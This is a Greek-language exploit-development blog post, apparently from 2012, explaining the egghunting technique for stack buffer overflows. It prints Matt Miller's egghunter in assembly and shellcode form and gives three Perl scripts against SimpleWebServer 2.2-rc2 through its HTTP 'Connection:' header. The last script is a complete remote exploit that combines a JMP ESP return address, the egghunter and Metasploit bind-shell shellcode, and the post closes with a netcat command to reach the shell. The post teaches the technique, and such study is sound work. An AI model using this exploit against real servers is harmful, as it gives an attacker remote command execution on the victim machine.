RSS

Egghunting – Κυνηγώντας, αυγά!

22 Jul

Ωραία και καλά όσα περιγράψαμε στα προηγούμενα άρθρα σχετικά με το exploitation ευπαθών εφαρμογών σε stack based buffer overflows.(1, 2, 3)

Πριν προχωρήσουμε, σε πιο βαθιά νερά όπως για παράδειγμα bypass μηχανισμών προστασίας DEPASLR κλπ σε αυτό το άρθρο, θα κληθούμε να λύσουμε το πρόβλημα, που προκύπτει όταν έχουμε ελάχιστο “ωφέλιμο” χώρο στη διάθεση μας, για να τοποθετούσαμε το shellcode.


-Τι θα κάναμε τότε;
-Στην περίπτωση αυτή, χρησιμοποιούμε έναν egghunter.

Λίγη Θεωρία

Egghunter, είναι ένα κομμάτι κώδικα, το οποίο μόλις εκτελεστεί θα ψάξει στη μνήμη (stack, heap) για ένα συγκεκριμένο “tag” (υπογραφή) το οποίο αποτελεί το …αυγό! Η τεχνική του egghunting ουσιαστικά, επιτρέπει σε ένα μικρό shellcode (τον egghunter) να βρει ένα άλλο μεγαλύτερο (το κυρίως shellcode) ψάχνοντας γι’ αυτό μέσα στη μνήμη και στη συνέχεια να το εκτελέσει.

Με απλά λόγια, αν καταφέρουμε να φορτώσουμε κάπου στη μνήμη το shellcode που θέλουμε να εκτελεστεί, ο egghunter θα ψάξει γι’ αυτό και όταν το βρει θα “πηδήξει” εκεί, ώστε να το εκτελέσει!

Στο παρακάτω παράδειγμα, βλέπουμε τον (32 bytes) egghunter του Matt Miller:

loop_inc_page:
	or    dx, 0x0fff         // Add PAGE_SIZE-1 to edx
loop_inc_one:
	inc   edx                // Increment our pointer by one
loop_check:
	push  edx                // Save edx
	push  0x2                // Push NtAccessCheckAndAuditAlarm
	pop   eax                // Pop into eax
	int   0x2e               // Perform the syscall
	cmp   al, 0x05           // Did we get 0xc0000005 (ACCESS_VIOLATION) ?
	pop   edx                // Restore edx
loop_check_8_valid:
	je    loop_inc_page      // Yes, invalid ptr, go to the next page
is_egg:
	mov   eax, 0x74303077    // Throw our egg in eax (w00t)
	mov   edi, edx           // Set edi to the pointer we validated
	scasd                    // Compare the dword in edi to eax
	jnz   loop_inc_one       // No match? Increment the pointer by one
	scasd                    // Compare the dword in edi to eax again (which is now edx + 4)
	jnz   loop_inc_one       // No match? Increment the pointer by one
matched:
	jmp   edi                // Found the egg.Jump 8 bytes past it into our code.

Η λειτουργία, που θα εκτελέσει ο παραπάνω egghunter (εντελώς επιγραμματικά!), είναι να ψάξει μέσα στη μνήμη για το “tag” που έχει ορίσει ο χρήστης (στη περίπτωση μας το tag είναι  το “w00t”). Για την ακρίβεια, θα ψάξει για το “w00tw00t” (δηλαδή w00t*2) και να επαναλαμβάνει τη διαδικασία αυτή μέχρι να το εντοπίσει!

Όταν εντοπιστεί το tag “w00tw00t”, ο egghunter θα εκτελέσει ότι υπάρχει ακριβώς μετά από αυτό. Γι αυτό το λόγο, συνήθως εκεί –ακριβώς μετά το tag– μπαίνει το shellcode, που θέλουμε να εκτελεστεί στο στόχο.

"w00tw00t".$shellcode

Φυσικά, μπορούμε να “μετατρέψουμε” τον παραπάνω egghunter, σε:

$egghunter =
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43".
"\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".
"\x77\x30\x30\x74". # The "w00t" tag!
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";

Σημείωση:  Για δική μας ευκολία, μπορούμε να αντικαταστήσουμε το “\x77\x30\x30\x74” με το “w00t“. Δηλαδή ο egghunter θα πάρει τη μορφή:

$egghunter =
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43".
"\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".
."w00t". # The "w00t" tag!
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";

Σκιαγραφώντας το πρόβλημα

Ένα παράδειγμα σχετικά με τη χρήση της τεχνικής του egghunting, στον πραγματικό κόσμο αποτελεί η εφαρμογή  SimpleWebServer 2.2-rc2. Στο παρόν άρθρο θα αναλύσουμε το exploitation της εφαρμογής, μέσω της ευπαθούς (σε remote buffer overflow) παραμέτρου “Connection: ” του ΗΤΤP Header. Tο public exploit της εφαρμογής υπάρχει εδώ.

Μετά από λίγο fuzzing στην εφαρμογή, έγινε αντιληπτό ότι όταν στέλνουμε μεγάλο όγκο δεδομένων στην παράμετρο “Connection: ” του HTTP Header, –ας πούμε 3000 bytes– καταφέρνουμε να crashάρουμε την εφαρμογή!

Αφού εργαστούμε όπως και στα προηγούμενα άρθρα (1,2) καταφέρνουμε να πάρουμε υπό τον έλεγχο μας, τον EIP Register, ο οποίος φάινεται να επεγράφεται στα 2048 bytes. Δυστυχώς, για κακή μας τύχη ο “ωφέλιμος” χώρος που έχουμε στη διάθεση μας (όπως μας μαρτυρά ο ESP register) για να τοποθετήσουμε το shellcode, δεν ξεπερνά τα 234 bytes.

use IO::Socket;
print "+---------------------------------------------------------------+ \n";
print "|   Simple Web Server 2.2 rc2 - Remote Buffer Overflow Exploit  | \n";
print "|                 mr.pr0n - https://ghostinthelab.wordpress.com  | \n";
print "+---------------------------------------------------------------+ \n";
$target = "localhost";
$port 	= "80";

$junk 			= "A" x 2048;
$ret			= "B" x 4;
$shellcode		= "C" x 234;

$exploit   	= $junk.$ret.$shellcode;
if ($socket = IO::Socket::INET->new
     (PeerAddr => $target,
      PeerPort => $port,
      Proto => "TCP"))
{
        $header =
        "GET / HTTP/1.1\r\n".
        "Host: ".$target." \r\n".
        "Connection:".$exploit."\r\n";
	print "\n[+] Sending buffer (".(length($exploit))." bytes) to: $target:$port \n";
        print $socket $header."\r\n";
        sleep(1);
        close($socket);
	print "[+] Exploitation Done!\n";
}

else
{
    print "[-] Connection to $target failed!\n";
}

“Σίγουρα, τα 234 bytes δεν είναι αρκετός χώρος για να κάνουμε κάτι ενδιαφέρον (εκτός δηλαδή, απ’ το να κάνουμε ένα pop up στο calc.exe)” — σκεφτόμαστε.

Έτσι, χωρίς τη χρήση egghunter, το exploit μας σχηματικά, θα είχε αυτή τη μορφή:

…ενώ στην πράξη θα έμοιαζε κάπως έτσι!

use IO::Socket;
print "+---------------------------------------------------------------+ \n";
print "|   Simple Web Server 2.2 rc2 - Remote Buffer Overflow Exploit  | \n";
print "|                 mr.pr0n - https://ghostinthelab.wordpress.com  | \n";
print "+---------------------------------------------------------------+ \n";
$target = "localhost";
$port 	= "80";

$junk 		= "\x41" x 2048;
$ret        = pack('V',0x7C874413);         # JMP ESP - kernel32.dll
# calc.exe - 227 bytes
$shellcode  =
"\xb8\xe8\xaa\x5e\xc0\xdb\xd6\xd9\x74\x24\xf4\x5b\x31\xc9\xb1".
"\x33\x31\x43\x12\x03\x43\x12\x83\x03\x56\xbc\x35\x2f\x4f\xc8".
"\xb6\xcf\x90\xab\x3f\x2a\xa1\xf9\x24\x3f\x90\xcd\x2f\x6d\x19".
"\xa5\x62\x85\xaa\xcb\xaa\xaa\x1b\x61\x8d\x85\x9c\x47\x11\x49".
"\x5e\xc9\xed\x93\xb3\x29\xcf\x5c\xc6\x28\x08\x80\x29\x78\xc1".
"\xcf\x98\x6d\x66\x8d\x20\x8f\xa8\x9a\x19\xf7\xcd\x5c\xed\x4d".
"\xcf\x8c\x5e\xd9\x87\x34\xd4\x85\x37\x45\x39\xd6\x04\x0c\x36".
"\x2d\xfe\x8f\x9e\x7f\xff\xbe\xde\x2c\x3e\x0f\xd3\x2d\x06\xb7".
"\x0c\x58\x7c\xc4\xb1\x5b\x47\xb7\x6d\xe9\x5a\x1f\xe5\x49\xbf".
"\x9e\x2a\x0f\x34\xac\x87\x5b\x12\xb0\x16\x8f\x28\xcc\x93\x2e".
"\xff\x45\xe7\x14\xdb\x0e\xb3\x35\x7a\xea\x12\x49\x9c\x52\xca".
"\xef\xd6\x70\x1f\x89\xb4\x1e\xde\x1b\xc3\x67\xe0\x23\xcc\xc7".
"\x89\x12\x47\x88\xce\xaa\x82\xed\x21\xe1\x8f\x47\xaa\xac\x45".
"\xda\xb7\x4e\xb0\x18\xce\xcc\x31\xe0\x35\xcc\x33\xe5\x72\x4a".
"\xaf\x97\xeb\x3f\xcf\x04\x0b\x6a\xac\xcb\x9f\xf6\x1d\x6e\x18".
"\x9c\x61";
$nops 		= "\x90" x (234 - length($shellcode));

$exploit   	= $junk.$ret.$nops.$shellcode;
if ($socket = IO::Socket::INET->new
     (PeerAddr => $target,
      PeerPort => $port,
      Proto => "TCP"))
{
    $header =
    "GET / HTTP/1.1\r\n".
    "Host: ".$target." \r\n".
    "Connection:".$exploit."\r\n";
    print "\n[+] Sending buffer (".(length($exploit))." bytes) to: $target:$port \n";
    print $socket $header."\r\n";
    sleep(1);
    close($socket);
    print "[+] Exploitation Done!\n";
}

else
{
    print "[-] Connection to $target failed!\n";
}
Αποτέλεσμα :

Καταφέραμε, να εκτελέσουμε με επιτυχία το “calc.exe”!

Το θέμα όμως, είναι να εκτελέσουμε κάτι πιο χρήσιμο στο μηχάνημα που τρέχει τον server, όπως για παράδειγμα ένα Bind Shell ή ένα Reverse shell τα οποία (δυστυχώς για εμάς), απαιτούν τουλάχιστον 300+ bytes ελεύθερο χώρο.

O κυνηγός, εν δράση!

Όπως σε κάθε ιστορία που σέβεται τον εαυτό της, έτσι και εδώ, την πιο κρίσιμη στιγμή εμφανίζεται ο κυνηγός και σώζει τη κατάσταση!! Στην περίπτωση μας είναι ο… egghunter.

Αφού λοιπόν γνωρίζουμε ότι, έχουμε 2048 bytes χώρο στη διάθεση μας πριν γράψουμε πάνω στον EIP register –και άλλα 234 bytes μετά– αυτό που μπορούμε να κάνουμε είναι:

  1. Να εκμεταλλευτούμε τα (2048 bytes – 8 bytes (το w00tw00t)) 2040 bytes ώστε να τοποθετήσουμε εκεί το shellcode μας, μιας και ο χώρος είναι υπέρ αρκετός!
  2. Στα 234 bytes θα τοποθετήσουμε τον egghunger ο οποίος είναι 32 bytes μας καθώς και μερικά nops.

Έτσι, κάνοντας χρήση της τεχνικής του egghunting, το exploit –σχηματικά– θα πάρει αυτή τη μορφή:

Μπορούμε –πολύ εύκολα και γρήγορα– με τι χρήση του mona.py, να ετοιμάσουμε το δικό μας egghunter. Ας πούμε για παράδειγμα ότι θέλουμε ο egghunter μας να περιέχει το tag “w00t” όπως και παραπάνω. Γράφουμε απλά :

!mona egg -t w00t

Και o egghunter μας είναι έτοιμος… για χρήση!

Το exploit που θα σταλεί τελικά στον server θα είναι :

use IO::Socket;
print "+---------------------------------------------------------------+ \n";
print "|   Simple Web Server 2.2 rc2 - Remote Buffer Overflow Exploit  | \n";
print "|                 mr.pr0n - https://ghostinthelab.wordpress.com  | \n";
print "+---------------------------------------------------------------+ \n";
$target = "localhost";
$port 	= "80";

# The egghunter.
$egghunter  =
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02".
"\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".
"w00t". # The 4 byte tag!
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";

# MSF windows/shell_bind_tcp LPORT=4444
$shellcode =
"\xda\xc5\xd9\x74\x24\xf4\x2b\xc9\xba\x3a\x04\xcc\xb6\x5e".
"\xb1\x56\x31\x56\x19\x83\xee\xfc\x03\x56\x15\xd8\xf1\x30".
"\x5e\x95\xfa\xc8\x9f\xc5\x73\x2d\xae\xd7\xe0\x25\x83\xe7".
"\x63\x6b\x28\x8c\x26\x98\xbb\xe0\xee\xaf\x0c\x4e\xc9\x9e".
"\x8d\x7f\xd5\x4d\x4d\x1e\xa9\x8f\x82\xc0\x90\x5f\xd7\x01".
"\xd4\x82\x18\x53\x8d\xc9\x8b\x43\xba\x8c\x17\x62\x6c\x9b".
"\x28\x1c\x09\x5c\xdc\x96\x10\x8d\x4d\xad\x5b\x35\xe5\xe9".
"\x7b\x44\x2a\xea\x40\x0f\x47\xd8\x33\x8e\x81\x11\xbb\xa0".
"\xed\xfd\x82\x0c\xe0\xfc\xc3\xab\x1b\x8b\x3f\xc8\xa6\x8b".
"\xfb\xb2\x7c\x1e\x1e\x14\xf6\xb8\xfa\xa4\xdb\x5e\x88\xab".
"\x90\x15\xd6\xaf\x27\xfa\x6c\xcb\xac\xfd\xa2\x5d\xf6\xd9".
"\x66\x05\xac\x40\x3e\xe3\x03\x7d\x20\x4b\xfb\xdb\x2a\x7e".
"\xe8\x5d\x71\x17\xdd\x53\x8a\xe7\x49\xe4\xf9\xd5\xd6\x5e".
"\x96\x55\x9e\x78\x61\x99\xb5\x3c\xfd\x64\x36\x3c\xd7\xa2".
"\x62\x6c\x4f\x02\x0b\xe7\x8f\xab\xde\xa7\xdf\x03\xb1\x07".
"\xb0\xe3\x61\xef\xda\xeb\x5e\x0f\xe5\x21\xe9\x08\x2b\x11".
"\xb9\xfe\x4e\xa5\x2f\xa2\xc7\x43\x25\x4a\x8e\xdc\xd2\xa8".
"\xf5\xd4\x45\xd3\xdf\x48\xdd\x43\x57\x87\xd9\x6c\x68\x8d".
"\x49\xc1\xc0\x46\x1a\x09\xd5\x77\x1d\x04\x7d\xf1\x25\xce".
"\xf7\x6f\xe7\x6f\x07\xba\x9f\x0c\x9a\x21\x60\x5b\x87\xfd".
"\x37\x0c\x79\xf4\xd2\xa0\x20\xae\xc0\x39\xb4\x89\x41\xe5".
"\x05\x17\x4b\x68\x31\x33\x5b\xb4\xba\x7f\x0f\x68\xed\x29".
"\xf9\xce\x47\x98\x53\x98\x34\x72\x34\x5d\x77\x45\x42\x62".
"\x52\x33\xaa\xd2\x0b\x02\xd4\xda\xdb\x82\xad\x07\x7c\x6c".
"\x64\x8c\x8c\x27\x25\xa4\x04\xee\xbf\xf5\x48\x11\x6a\x39".
"\x75\x92\x9f\xc1\x82\x8a\xd5\xc4\xcf\x0c\x05\xb4\x40\xf9".
"\x29\x6b\x60\x28\x23";

$junk 		= "\x41" x (2048 - length("w00tw00t") - length($shellcode));
$ret		= pack('V',0x7C874413);     	# JMP ESP - kernel32.dll
$nops 		= "\x90" x (234 - length($egghunter));
$exploit   	= $junk."w00tw00t".$shellcode.$ret.$nops.$egghunter;

if ($socket = IO::Socket::INET->new
     (PeerAddr => $target,
      PeerPort => $port,
      Proto => "TCP"))
{
        $header =
        "GET / HTTP/1.1\r\n".
        "Host: ".$target." \r\n".
        "Connection:".$exploit."\r\n";
	print "\n[+] Sending buffer (".(length($exploit))." bytes) to: $target:$port \n";
        print $socket $header."\r\n";
        sleep(1);
        close($socket);
	print "[+] Exploitation Done!\n";
}

else
{
    print "[-] Connection to $target failed!\n";
}

Αποτέλεσμα :

Έτσι αφού τελικά καταφέραμε (μέσω του shellcode που εκτελέστηκε) να ανοίξουμε την port 4444 το μόνο που μας μένει να κάνουμε είναι:

nc IP_του_στόχου 4444

…ώστε να αποκτήσουμε πρόσβαση στο μηχάνημα που τρέχει την ευπαθή εφαρμογή!

Πηγές

1. http://www.corelan.be/
2. http://www.hick.org/

 
Leave a comment

Posted by on July 22, 2012 in It's Greek to Me

 

Tags: , , , , ,

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

 
%d bloggers like this: